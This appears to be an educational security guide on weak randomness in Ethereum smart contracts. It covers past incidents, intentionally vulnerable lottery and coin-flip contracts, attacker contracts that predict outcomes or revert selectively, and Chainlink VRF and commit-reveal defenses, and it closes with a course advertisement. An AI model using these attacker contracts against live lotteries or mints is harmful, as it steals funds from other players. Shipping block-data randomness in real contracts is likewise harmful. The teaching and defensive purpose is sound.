Weak Randomness Attacks
How the attack works and how to prevent it
Weak Randomness in Smart Contracts: Attacks and Prevention
Lotteries, NFT mints, games, and token distributions may depend on outcomes that participants cannot predict or influence. A deterministic blockchain does not provide that property by default.
Every node must reproduce the same execution result, and on-chain inputs are public. If a contract derives a result from block data, another contract may be able to compute the same result before deciding whether to proceed.
This guide explains predictable block-data schemes, selective reverts, validator influence over prevrandao, and defenses including verifiable random functions and commit-reveal.
What exactly is a weak randomness vulnerability?
A weak randomness vulnerability occurs when a contract derives security-sensitive outcomes from on-chain data that participants can predict or influence, such as block.timestamp, block.number, blockhash, or block.prevrandao.
Because EVM execution is deterministic, it has no native secret entropy source. A contract deriving a winning number from current block properties exposes the same inputs to an attacker contract in the same transaction.
The transparent dice analogy
Imagine a dice game where the result is visible before the player decides whether to place the bet.
The player can skip losing outcomes and participate only when the result is favorable.
Weak randomness creates the same selective-play advantage when public inputs determine the outcome before the attacker's transaction commits.
On-chain values available to the target contract are generally available to the attacker as well.
The impact of weak randomness
Weak randomness has affected lotteries, NFT assignments, games, and token distributions:
| Attack | Year | Impact |
|---|---|---|
| SmartBillions Lottery | 2017 | 400+ ETH drained via blockhash prediction |
| Fomo3D | 2018 | ~$10.5M via block stuffing + airdrop PRNG exploit |
| EOS Gambling Wave | 2018 | 170,503 EOS (~$1M+) across 8 gambling DApps |
| Meebits NFT | 2021 | ~$700K rare NFT sniped via mint-and-revert |
| Wolf Game | 2021 | Game halted, entire relaunch required |
| $FFIST Token | 2023 | ~$110K drained via predictable airdrop randomness |
| Chainlink VRF Bug | 2023 | $300K bounty for re-roll vulnerability |
Insecure randomness is listed at #8 on the OWASP Smart Contract Top 10.
Common weak randomness sources

Real-world randomness incidents
SmartBillions lottery (2017)
In 2017, the Ethereum lottery SmartBillions used blockhash to select winning tickets.
An attacker deployed a proxy contract that read the same blockhash, calculated the result, and bought a ticket only when the outcome was favorable. More than 400 ETH was drained before the contract was stopped.
Meebits NFT assignment exploit (2021)
Larva Labs' $85 million Meebits NFT launch was exploited by a user who abused on-chain metadata transparency. The Meebits contract stored a zip file on IPFS that publicly revealed each token's traits by ID.
The attacker identified ultra-rare tokens and then repeatedly minted and cancelled transactions ("rerolling") until the random assignment gave them the desired rare token. Hundreds of mint attempts were auto-cancelled whenever the outcome wasn't the rare one.
The attacker obtained a rare Meebit worth approximately $700,000 by selectively allowing only favorable mints to complete.
Wolf Game relaunch (2021)
Wolf Game, a popular NFT staking game, used on-chain pseudo-randomness to determine whether minted tokens were sheep or wolves. The randomness was derived from block data.
Attackers discovered they could call mint() through a contract and revert the transaction whenever a sheep was received, guaranteeing they only minted the highly desirable (and valuable) wolves.
The developers halted minting, rebuilt the game, issued new tokens, and integrated Chainlink VRF for the relaunched version.
Fomo3D: block stuffing meets randomness (2018)
Fomo3D was a "last player wins" game where the prize pool went to the last person to buy a key before a countdown timer expired. The timer reset with each purchase, and randomness was used to determine bonus awards.
The winner exploited the game by stuffing blocks with high-gas transactions, preventing other players' transactions from being included. Combined with the predictable nature of block-based randomness, the attacker ensured they were the final player - collecting the prize pool.
Chainlink VRF re-roll vulnerability (2023)
Even Chainlink VRF wasn't immune to creative exploitation. White-hat hackers discovered that a malicious VRF subscription owner could block randomness callback transactions and repeatedly re-roll until a desired random value was returned.
Chainlink paid a $300,000 bug bounty and implemented fixes to prevent subscription owners from censoring or filtering randomness fulfillments.
Oracle integration is not the end of the review. Subscription management has to prevent selective fulfillment and re-rolling too.
How weak randomness attacks work: step by step
The common pattern is prediction followed by selective execution.
The core problem
Every value on the blockchain is public. If your contract computes randomness from block.timestamp, blockhash, block.number, or msg.sender, an attacker contract running in the same block has access to the exact same values - and can compute the exact same "random" number.
The attack flow
| Step | What Happens | State |
|---|---|---|
| 1 | Attacker reads target contract's randomness logic | Identifies blockhash + timestamp pattern |
| 2 | Attacker deploys a contract that replicates the logic | Same inputs = same output |
| 3 | Attacker's contract computes the "random" result | Knows the outcome before calling |
| 4 | If favorable, attacker calls the target contract | Guaranteed to win |
| 5 | If unfavorable, attacker waits for next block | No risk, no loss |
The attack phases
The attacker reads the contract source code (often verified on Etherscan) and identifies how "random" numbers are generated. Common vulnerable patterns: keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)).
The attacker deploys a contract that copies the exact same randomness computation. Since both contracts execute in the same block, they share identical block properties and produce identical "random" values.
The attacker contract computes the outcome first. If the result is favorable (wins the lottery, mints a rare NFT), it calls the target. If not, it simply reverts or waits - costing only gas.
The attacker repeats this process across multiple blocks until the contract is drained. Each attempt is risk-free - if the prediction fails, the transaction reverts and only gas is lost.
{
"title": "🎬 Predict-then-win: reading the same block as the lottery",
"stage": { "width": 920, "height": 440 },
"nodes": [
{ "id": "attacker", "label": "Attacker Contract", "role": "replicates the math", "emoji": "🧑💻", "x": 60, "y": 200, "color": "red" },
{ "id": "target", "label": "The Lottery", "role": "pays the winner", "emoji": "🎰", "x": 440, "y": 60, "color": "cyan" },
{ "id": "block", "label": "Block data", "role": "timestamp / blockhash", "emoji": "🧱", "x": 440, "y": 330, "color": "slate" }
],
"links": [
{ "from": "block", "to": "attacker" },
{ "from": "block", "to": "target" },
{ "from": "attacker", "to": "target" }
],
"nets": [
{ "id": "atk", "label": "Attacker" }
],
"legend": [
{ "cls": "call", "label": "read / call" },
{ "cls": "token", "label": "ETH payout" },
{ "cls": "sig", "label": "compute / draw" },
{ "cls": "fail", "label": "useless / no edge" }
],
"scenarios": {
"Vulnerable (on-chain PRNG)": [
{ "note": "The lottery picks a winner from <b>keccak256(block.number, block.timestamp, players.length)</b> - all public values.", "hi": ["target","block"], "bal": { "target": "pot: 400 ETH" }, "net": { "atk": "0 ETH" } },
{ "note": "In the same block, the attacker's contract reads the <b>exact same</b> block data.", "hi": ["block","attacker"], "chip": { "from": "block", "to": "attacker", "label": "read timestamp + number", "cls": "call" } },
{ "note": "It runs the identical keccak256 and learns the winning index <b>before</b> calling.", "tone": "bad", "hi": ["attacker"], "chip": { "from": "attacker", "to": "attacker", "label": "compute winnerIndex", "cls": "sig" } },
{ "note": "The result is favorable, so it calls buyTicket() + pickWinner() in one tx - guaranteed to win.", "tone": "bad", "hi": ["attacker","target"], "chip": { "from": "attacker", "to": "target", "label": "play (winning)", "cls": "call" } },
{ "note": "The pot pays out to the attacker. If the math hadn't favored them, they simply would not have played - only gas at risk.", "tone": "bad", "hi": ["target","attacker"], "chip": { "from": "target", "to": "attacker", "label": "400 ETH", "cls": "token" }, "bal": { "target": "pot: 0" }, "net": { "atk": "+400 ETH" } }
],
"Fixed (Chainlink VRF)": [
{ "note": "The fix sources randomness from <b>Chainlink VRF</b>: the result is not derived from block data at all.", "hi": ["target"], "bal": { "target": "pot: 400 ETH" }, "net": { "atk": "0 ETH" } },
{ "note": "The attacker reads the block - but it no longer determines the winner, so there is nothing to precompute.", "tone": "ok", "hi": ["block","attacker"], "chip": { "from": "block", "to": "attacker", "label": "block data: useless", "cls": "fail" } },
{ "note": "VRF returns a verifiable random word in a <b>later</b> transaction the attacker cannot predict or front-run.", "tone": "ok", "hi": ["target"], "chip": { "from": "target", "to": "target", "label": "requestRandomWords()", "cls": "sig" } },
{ "note": "The winner is chosen from an unpredictable value. The attacker's edge is gone.", "tone": "ok", "hi": ["target"], "bal": { "target": "fair draw" }, "net": { "atk": "no edge" } }
]
}
}
Weak randomness vulnerable code example
The following examples show a lottery and a coin-flip contract using public block data.
This contract is intentionally vulnerable. Never use this pattern in production.
Vulnerable lottery contract
// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
pragma solidity ^0.8.20;
contract VulnerableLottery {
address public owner;
address[] public players;
uint256 public ticketPrice;
address public lastWinner;
constructor(uint256 _ticketPrice) {
owner = msg.sender;
ticketPrice = _ticketPrice;
}
function buyTicket() public payable {
require(msg.value == ticketPrice, "Invalid ticket price");
players.push(msg.sender);
}
function pickWinner() public {
require(players.length > 0, "No players");
// VULNERABILITY: All inputs are publicly known!
uint256 winnerIndex = uint256(
keccak256(
abi.encodePacked(
block.number, // Public
block.timestamp, // Public
players.length // Public
)
)
) % players.length;
lastWinner = players[winnerIndex];
payable(lastWinner).transfer(address(this).balance);
delete players;
}
}
Vulnerable coin flip contract
// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
pragma solidity ^0.8.20;
contract VulnerableCoinFlip {
mapping(address => uint256) public consecutiveWins;
function flip(bool _guess) public returns (bool) {
// VULNERABILITY: blockhash is publicly readable!
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins[msg.sender]++;
return true;
} else {
consecutiveWins[msg.sender] = 0;
return false;
}
}
}
Why these are vulnerable
The problem with both contracts is the order of knowledge:
-
block.number,block.timestamp, andblockhash(block.number - 1)are all known to every contract executing in the same block -
players.lengthandmsg.senderare publicly visible on-chain -
keccak256is deterministic - same inputs always produce the same output -
An attacker contract can compute the "random" value before calling the vulnerable function
Hashing predictable inputs with keccak256 produces a deterministic transformation of public data, not randomness.

Weak randomness attacker contract
Here's how an attacker exploits the vulnerable coin flip contract above.
// ATTACKER CONTRACT - Educational purposes only
pragma solidity ^0.8.20;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttacker {
ICoinFlip public target;
uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _targetAddress) {
target = ICoinFlip(_targetAddress);
}
function attack() external {
// Step 1: Compute the SAME "random" value
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
// Step 2: Submit the guaranteed correct guess
target.flip(side);
}
}
Lottery attacker with selective revert
// ATTACKER CONTRACT - Educational purposes only
pragma solidity ^0.8.20;
interface ILottery {
function buyTicket() external payable;
function pickWinner() external;
}
contract LotteryAttacker {
ILottery public lottery;
constructor(address _lottery) {
lottery = ILottery(_lottery);
}
function attack() external payable {
// Step 1: Buy a ticket
lottery.buyTicket{value: msg.value}();
// Step 2: Predict the winner index using the same logic
// (This works if pickWinner is called in the same block)
uint256 predictedWinner = uint256(
keccak256(abi.encodePacked(
block.number,
block.timestamp,
uint256(2) // assuming 2 players
))
) % 2;
// Step 3: Only proceed if WE are the predicted winner
require(predictedWinner == 1, "Not going to win, revert!");
// Step 4: Trigger the draw
lottery.pickWinner();
}
receive() external payable {}
}
Attack execution summary
-
Compute the same "random" value the target contract will produce
-
Compare the predicted outcome to a favorable result
-
Revert the entire transaction if the outcome is unfavorable (costs only gas)
-
Execute only when guaranteed to win
-
Repeat across blocks until the contract is drained
All of this automates. The attacker leaves a bot running and lets it complete only the favorable transactions.
How to prevent weak randomness attacks
For outcomes with material value, use a verifiable external source or a protocol designed to prevent participants from predicting and filtering results.
1. Chainlink VRF (Verifiable Random Function)
Chainlink VRF generates random numbers off-chain using a private key and provides a cryptographic proof that the submitted value matches the request.
How it works:
-
Your contract requests randomness from Chainlink VRF
-
Chainlink nodes generate a random number off-chain
-
A cryptographic proof is submitted on-chain
-
Your contract verifies the proof and receives the random number
No one, including Chainlink node operators, can predict or manipulate the result.
2. Commit-reveal schemes
A two-phase approach where participants first submit a hidden commitment, then reveal their values:
-
Commit phase: Each participant submits
keccak256(secret + value)- the hash hides the actual value -
Reveal phase: Participants reveal their secret and value; the contract verifies against the commitment
-
Combine: All revealed values are combined to produce the final random number
Limitation: Vulnerable to the "last revealer attack" - the last participant can choose not to reveal if the outcome is unfavorable.
3. API3 QRNG (Quantum Random Number Generation)
API3 provides quantum-generated random numbers from the Australian National University's quantum vacuum fluctuation measurements. The randomness is delivered via the Airnode request-response protocol and carries no service fee, so you only pay gas for the callback.
4. Gelato VRF
Gelato VRF uses Drand, a decentralized randomness beacon, to provide verifiable random numbers. Contracts inherit from GelatoVRFConsumerBase and receive randomness through a callback pattern similar to Chainlink VRF.
This single rule - use Chainlink VRF, API3 QRNG, or a commit-reveal scheme - eliminates the entire class of weak randomness attacks. No exceptions.
Prevention effectiveness comparison
What it does: Generates cryptographically verifiable random numbers off-chain using VRF proofs. Supports payment in LINK or native tokens.
When to use: Any production contract that needs randomness - lotteries, NFT minting, gaming, random selection.
Limitation: Requires LINK token for payment. The 2023 re-roll vulnerability showed subscription owners could block fulfillments - now patched.
What it does: Two-phase protocol where participants commit hashed values first, then reveal. Prevents front-running and prediction.
When to use: Two-player games, auctions, and scenarios where external oracle costs are prohibitive.
Limitation: Vulnerable to the "last revealer attack" - the final participant can withhold their reveal if the outcome is unfavorable. Requires time-bound reveals with slashing.
What it does: Returns the RANDAO beacon value accumulated from validator BLS signatures. Each validator contributes 1 bit of randomness per slot.
When to use: Only for low-stakes scenarios where validator manipulation is economically irrational (e.g., cosmetic NFT traits worth less than block rewards).
Limitation: Validators know prevrandao before proposing and can skip their slot to bias the output by 1 bit. Colluding consecutive validators multiply this influence. Not suitable for high-value randomness.
What it does: Uses block properties that are publicly known before transaction execution. blockhash is only available for the last 256 blocks and returns 0 afterward.
When to use: Never. This is the root cause of nearly every randomness exploit in blockchain history.
Limitation: Any contract executing in the same block can compute the exact same value. Validators/miners can manipulate timestamps within allowed bounds. This is not randomness - it is public data.
Secure randomness implementation: Chainlink VRF
The following lottery example uses Chainlink VRF v2.5.
// SECURE CONTRACT - Chainlink VRF example
pragma solidity ^0.8.20;
import {VRFConsumerBaseV2Plus} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol";
import {VRFV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";
contract SecureLottery is VRFConsumerBaseV2Plus {
// STEP 1: VRF configuration
uint256 public s_subscriptionId;
bytes32 public s_keyHash;
uint32 public s_callbackGasLimit = 100000;
uint16 public s_requestConfirmations = 3;
uint32 public s_numWords = 1;
// Lottery state
address[] public players;
uint256 public ticketPrice;
address public lastWinner;
uint256 public lastRequestId;
bool public lotteryOpen;
event LotteryEntered(address indexed player);
event WinnerRequested(uint256 indexed requestId);
event WinnerPicked(address indexed winner, uint256 prize);
constructor(
uint256 _subscriptionId,
address _vrfCoordinator,
bytes32 _keyHash,
uint256 _ticketPrice
) VRFConsumerBaseV2Plus(_vrfCoordinator) {
s_subscriptionId = _subscriptionId;
s_keyHash = _keyHash;
ticketPrice = _ticketPrice;
lotteryOpen = true;
}
function enterLottery() external payable {
require(lotteryOpen, "Lottery closed");
require(msg.value == ticketPrice, "Wrong ticket price");
players.push(msg.sender);
emit LotteryEntered(msg.sender);
}
// STEP 2: Request randomness from Chainlink VRF
function pickWinner() external {
require(players.length > 0, "No players");
lotteryOpen = false;
lastRequestId = s_vrfCoordinator.requestRandomWords(
VRFV2PlusClient.RandomWordsRequest({
keyHash: s_keyHash,
subId: s_subscriptionId,
requestConfirmations: s_requestConfirmations,
callbackGasLimit: s_callbackGasLimit,
numWords: s_numWords,
extraArgs: VRFV2PlusClient._argsToBytes(
VRFV2PlusClient.ExtraArgsV1({nativePayment: false})
)
})
);
emit WinnerRequested(lastRequestId);
}
// STEP 3: Receive verified randomness (callback from Chainlink)
function fulfillRandomWords(
uint256 /* requestId */,
uint256[] calldata randomWords
) internal override {
uint256 winnerIndex = randomWords[0] % players.length;
lastWinner = players[winnerIndex];
uint256 prize = address(this).balance;
(bool success, ) = lastWinner.call{value: prize}("");
require(success, "Transfer failed");
emit WinnerPicked(lastWinner, prize);
delete players;
lotteryOpen = true;
}
}
Security features at a glance
| Feature | Protection |
|---|---|
| Chainlink VRF v2.5 | Cryptographically verified off-chain randomness |
fulfillRandomWords callback |
Only Chainlink coordinator can deliver randomness |
requestConfirmations = 3 |
Waits for 3 block confirmations before fulfillment |
| Lottery closes during draw | Prevents entry manipulation during randomness request |
| Events on all actions | Full transparency and monitoring |
This implementation separates the randomness request from fulfillment and verifies the oracle response. The surrounding application still has to handle callback failure, subscription administration, and state changes that land between request and fulfillment.
Advanced weak randomness attack patterns
The following variants require review beyond a simple search for block.timestamp.
1. The prevrandao validator bias attack (post-Merge)
After Ethereum's Merge, block.difficulty was replaced by block.prevrandao - a RANDAO accumulator value from the beacon chain. It is more random than pre-Merge block properties, and it is still manipulable.
How it works: Each block proposer (validator) contributes a BLS signature to the RANDAO. But the proposer knows the prevrandao value before deciding whether to propose their block. A validator can choose to skip their slot if the resulting randomness would be unfavorable, biasing the output by 1 bit.
With colluding validators: if an attacker controls N consecutive block proposers, they can explore 2^N possible outcomes and select the most favorable one.
Lido, the largest staking pool, has held consecutive proposer slots often enough for this to matter in practice: a widely circulated third-party count puts it at 47,694 instances where consecutive Lido proposals could have biased the RANDAO value. That figure comes from independent analysis rather than a published, reproducible dataset, so treat it as an indication of scale rather than an exact number.
2. The NFT rarity sniping attack
For NFT mints that derive rarity from on-chain randomness:
-
Attacker identifies the randomness formula (e.g.,
keccak256(tokenId, blockhash)) -
Attacker deploys a contract that simulates the mint and reads the resulting traits
-
If the traits are not rare enough, the contract reverts the transaction
-
The attacker only pays gas for failed attempts, but keeps every rare mint
This was the exact attack used against Meebits, where hundreds of mint attempts were cancelled until a rare token was assigned.
3. The blockhash window attack
blockhash() only returns values for the last 256 blocks. After that, it returns 0x0. If a contract stores a block number and later uses its hash for randomness, an attacker can wait 256 blocks until the hash returns zero - a known, exploitable value.
// VULNERABLE PATTERN
uint256 public targetBlock;
function commit() external {
targetBlock = block.number + 10;
}
function reveal() external {
// After 256 blocks, blockhash returns 0!
uint256 random = uint256(blockhash(targetBlock));
// Attacker waits 256+ blocks, random = 0 (known value)
}
4. The gambling contract revert attack
For on-chain dice, roulette, or slot machine contracts:
-
Attacker contract calls the gambling function
-
In the same transaction, the attacker reads the outcome
-
If the outcome is a loss, the attacker reverts the entire transaction
-
Only gas is lost on failed attempts; all winning bets complete
This gives the attacker a selective-play advantage: losing transactions revert while winning transactions complete.
Comparing defense architectures
On-Chain Block Data
Using block.timestamp, blockhash, or block.number for randomness. Any contract in the same block can compute identical values. This is not randomness - it is public data masquerading as entropy.
prevrandao Alone
Better than pre-Merge block data, but validators can bias by 1 bit per slot. Consecutive proposer slots multiply influence. Only suitable for low-value applications where manipulation cost exceeds reward.
Chainlink VRF + Commit-Reveal
Chainlink VRF provides verifiable randomness. Commit-reveal for user inputs and multi-block confirmation delays can address additional timing and input-manipulation risks.
Common misconceptions
"Hashing block data with keccak256 makes it random."
Tap to revealkeccak256 is a deterministic function - same inputs always produce the same output. If an attacker knows the inputs (block.timestamp, block.number, msg.sender), they can compute the hash identically. Hashing public data does not create randomness.
"block.prevrandao is a secure source of randomness post-Merge."
Tap to revealValidators know prevrandao before proposing their block and can skip their slot to bias the output by 1 bit. Validators with consecutive slots can explore 2^N outcomes. It is improved over pre-Merge but NOT suitable for high-value randomness.
"Adding msg.sender to the hash makes randomness unpredictable."
Tap to revealmsg.sender is known to the attacker (it is their own address or their contract's address). Adding more public values to a hash does not make it less predictable - it just makes it a more complex deterministic computation.
"Chainlink VRF is completely tamper-proof with no attack vectors."
Tap to revealChainlink VRF is cryptographically secure and the best available option. However, the 2023 re-roll vulnerability showed that VRF subscription owners could filter results. Always ensure your VRF implementation follows Chainlink's latest best practices.
Related vulnerabilities
Weak randomness can overlap with other vulnerability classes.
Oracle manipulation attacks address a related boundary: bringing external data into deterministic execution. Oracle manipulation targets prices, while weak randomness targets entropy. Both require explicit trust, update, and manipulation assumptions.
Weak randomness can also combine with access control attacks. If an attacker controls who triggers pickWinner() or when it runs, timing control increases the value of a predictable outcome, as in the Fomo3D block-stuffing attack.
Test your randomness security knowledge
5 questions on on-chain entropy and commit-reveal
Frequently asked questions about weak randomness
Not natively. The EVM is deterministic by design - every node must compute the same result for consensus. True randomness must come from off-chain sources like Chainlink VRF, API3 QRNG, or commit-reveal schemes. Any value derived purely from on-chain data (block properties, addresses, balances) is predictable.
block.prevrandao is significantly better than pre-Merge block data but not fully secure. Validators have a 1-bit bias per slot and know the value before proposing. For low-stakes use cases (cosmetic NFT traits, non-financial games), it may be acceptable. For anything involving real value - lotteries, DeFi, rare NFTs - use Chainlink VRF instead.
Chainlink VRF generates random numbers off-chain using a private key and the request seed. It produces a cryptographic proof (verifiable random function proof) that is verified on-chain. If the proof doesn't match, the transaction reverts. This guarantees that neither the oracle operator, the contract owner, nor any miner/validator can predict or tamper with the random value.
Yes, always. keccak256 is a deterministic function - same inputs produce the same output every time. If the inputs are on-chain values like block.timestamp, block.number, or msg.sender, any attacker contract executing in the same block can compute the identical result before calling your function.
API3 QRNG does not charge a service fee, although the callback transaction still costs gas. It provides quantum-generated random numbers from the Australian National University. Chainlink VRF v2.5 requires payment and provides a widely used verifiable-randomness integration. Choose based on the threat model, supported chain, availability requirements, and operating cost.
Write a test where an attacker contract calls your randomness-dependent function. If the attacker can predict the outcome or selectively revert on unfavorable results, your randomness is broken. Tools like Slither and Semgrep also detect common weak randomness patterns. Professional auditors specifically check for on-chain randomness sources in every review.
Quick reference: secure randomness checklist
Before deploying any contract that depends on randomness:
-
Never use block.timestamp, block.number, or blockhash for randomness - these are publicly known
-
Never use keccak256 of on-chain values as randomness - deterministic hash of public data is not random
-
Use Chainlink VRF v2.5 for production contracts requiring randomness
-
Consider API3 QRNG for a free alternative with quantum-sourced entropy
-
Implement commit-reveal for two-party scenarios if external oracles are impractical
-
Add multi-block confirmation delays between randomness request and fulfillment
-
Prevent contract callers from reverting on unfavorable outcomes (use callbacks, not return values)
-
Close entry before requesting randomness to prevent manipulation of inputs
-
Validate that blockhash is non-zero if using it as any auxiliary input
-
Get professional security audits specifically reviewing randomness generation
-
Monitor for attacker contracts that repeatedly call and revert against your functions
Choosing a randomness source
A deterministic public blockchain cannot derive security-sensitive randomness from public on-chain data alone. Hashing block properties only moves the predictability around.
Use a verifiable randomness service such as Chainlink VRF or API3 QRNG, or a commit-reveal scheme with time-bound reveals and a penalty for withholding.
Practice randomness review
Randomness review becomes clearer after implementing a prediction contract and replacing the vulnerable flow with an asynchronous, verifiable source.
The Smart Contract Hacking course includes:
-
320+ videos covering weak randomness, flash loans, oracle manipulation, reentrancy, and related topics
-
40+ hands-on exercises exploiting and securing real contracts
-
Instruction from JohnnyTime, Trust, Pashov, and other security researchers
-
A 2,000+ member Discord for technical discussion and peer support
-
SSCH Certification for participants who complete the requirements
Review student outcomes and success stories to decide whether the training fits your goals.
Sources and editorial notes
Reviewed by JohnnyTime. Last updated .
Master Weak Randomness Attacks in a safe lab
Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.